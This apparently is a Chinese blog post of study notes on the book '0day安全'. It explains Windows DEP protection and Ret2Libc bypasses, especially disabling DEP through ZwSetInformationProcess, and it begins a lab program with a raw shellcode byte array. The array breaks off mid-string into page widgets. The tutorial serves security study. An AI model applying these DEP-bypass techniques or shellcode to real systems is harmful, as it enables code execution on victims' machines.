《0day安全》——数据与程序的分水岭:DEP

DEP机制的保护原理

溢出攻击的根源在于区分不了代码与数据。
DEP 的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入 shellcode 时,程序会尝试在数据页面上执行指令,此时 CPU 就会抛出异常,而不是去执行恶意指令。
在这里插入图片描述

根据启动参数的不同, DEP 工作状态可以分为四种。
 1.Optin:默认仅将 DEP 保护应用于 Windows 系统组件和服务,对于其他程序不予保护,但用户可以通过应用程序兼容性工具(ACT, Application Compatibility Toolkit)为选定的程序启用DEP。
 2.Optout:为排除列表程序外的所有程序和服务启用 DEP,用户可以手动在排除列表中指定不启用 DEP 保护的程序和服务。这种模式可以被应用程序动态关闭。
 3.AlwaysOn:对所有进程启用 DEP 的保护,不存在排序列表,在这种模式下,DEP不可以被关闭,目前只有在 64 位的操作系统上才工作在 AlwaysOn 模式。
 4.AlwaysOff:对所有进程都禁用 DEP,这种模式下, DEP 也不能被动态开启,这种模式一般只有在某种特定场合才使用,如 DEP 干扰到程序的正常运行。
DEP 的主要作用是阻止数据页(如默认的堆页、各种堆栈页以及内存池页)执行代码。微软从 Windows XP SP2 开始提供这种技术支持,根据实现的机制不同可分为:软件 DEP( Software DEP)和硬件 DEP( Hardware-enforced DEP)。
在这里插入图片描述


攻击未启用EDP的程序

当某个进程中有一个模块不支持DEP,这个进程就不能开启贸然DEP,不然可能发生异常。
在这里插入图片描述


攻击Ret2Libc挑战DEP

原理

Ret2libc 是 Return-to-libc 简写,由于 DEP 不允许我们直接到非可执行页执行指令,我们就需要在其他可执行的位置找到符合我们要求的指令,让这条指令来替我们工作,为了能够控制程序流程,在这条指令执行后,我们还需要一个返回指令,以便收回程序的控制权,然后继续下一步操作。
简言之,只要为 shellcode 中的每条指令都在代码区找到一条替代指令,就可以完成 exploit想要的功能了。理论上说,这种方法是可行的,但是实际上操作难度极大。姑且不说是不是shellcode 中的每条指令都能在代码区找到替代指令,就算所有替代指令都找好了,如何保证每条指令的地址都不包含 0x00 截断字符呢?栈帧如何去布置呢?我们不断使用替代指令执行操作,然后通过 retn 指令收回控制权,不停地跳来跳去,稍有不慎就跳沟里去了。

方法

 1.通过跳转到 ZwSetInformationProcess 函数将DEP关闭后再转入 shellcode 执行。
 2.通过跳转到 VirtualProtect 函数来将 shellcode 所在内存页设置为可执行状态,然后再转入 shellcode 执行。
 3.通过跳转到 VIrtualAlloc 函数开辟一段具有执行权限的内存空间,然后将 shellcode 复制到这段内存中执行。

Ret2Libc 实战之利用 ZwSetInformationProcess

原理

一个进程的 DEP 设置标识保存在 KPROCESS 结构中的_KEXECUTE_OPTIONS 上,而这个标识可以通过 API 函数 ZwQueryInformationProcess 和 Zw SetInformationProcess 进行查询和修改。

KEXECUTE_OPTIONS319(
Pos0ExecuteDisable :1bit
Pos1ExecuteEnable :1bit
Pos2DisableThunkEmulation :1bit
Pos3Permanent :1bit
Pos4ExecuteDispatchEnable :1bit
Pos5ImageDispatchEnable :1bit
Pos6Spare :2bit)

这些标识位中前 4 个 bit 与 DEP 相关,当前进程 DEP 开启时 ExecuteDisable 位被置 1,当进程 DEP 关闭时 ExecuteEnable 位被置 1, DisableThunkEmulation 是为了兼容 ATL 程序设置的,Permanent 被置 1 后表示这些标志都不能再被修改。真正影响 DEP 状态是前两位,所以我们只要将_KEXECUTE_OPTIONS 的值设置为 0x02(二进制为 00000010)就可以将 ExecuteEnable置为 1。

ZwSetInformationProcess(
HANDLE ProcessHandle,
PROCESS_INFORMATION_CLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength );

第一个参数为进程的句柄,设置为−1 的时候表示为当前进程;第二个参数为信息类;第三个参数可以用来设置_KEXECUTE_OPTIONS,第四个参数为第三个参数的长度。

//Skape 和Skywing 在他们的论文 Bypassing Windows Hardware-Enforced DEP 中给出了关闭 DEP 的参数设置。
ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;
ZwSetInformationProcess(
NtCurrentProcess(), // (HANDLE)-1
ProcessExecuteFlags, // 0x22
&ExecuteFlags, // ptr to 0x2
sizeof(ExecuteFlags)); // 0x4

函数的参数中包含着 0x00 这样的截断字符,这会造成字符串复制的时候被截断。既然自己构造参数会出现问题,那么我们可不可以在系统中寻找已经构造好的参数呢?
在这微软的兼容性考虑又惹祸了,如果一个进程的 Permanent 位没有设置,当它加载 DLL时,系统就会对这个 DLL 进行 DEP 兼容性检查,当存在兼容性问题时进程的 DEP 就会被关闭。
为此微软设立了 LdrpCheckNXCompatibility 函数,当符合以下条件之一时进程的 DEP 会被关闭:
 1.当DLL 受SafeDisc 版权保护系统保护时;
 2.当DLL 包含有.aspcak、.pcle、.sforce 等字节时;
 3.Windows Vista 下面当DLL 包含在注册表“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions”键下边标识出不需要启动DEP 的模块时。
在这里插入图片描述

实验

#include "stdafx.h"
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x73\x75\x6E\x72\x68\x73\x75\x6E\x72\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90
  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值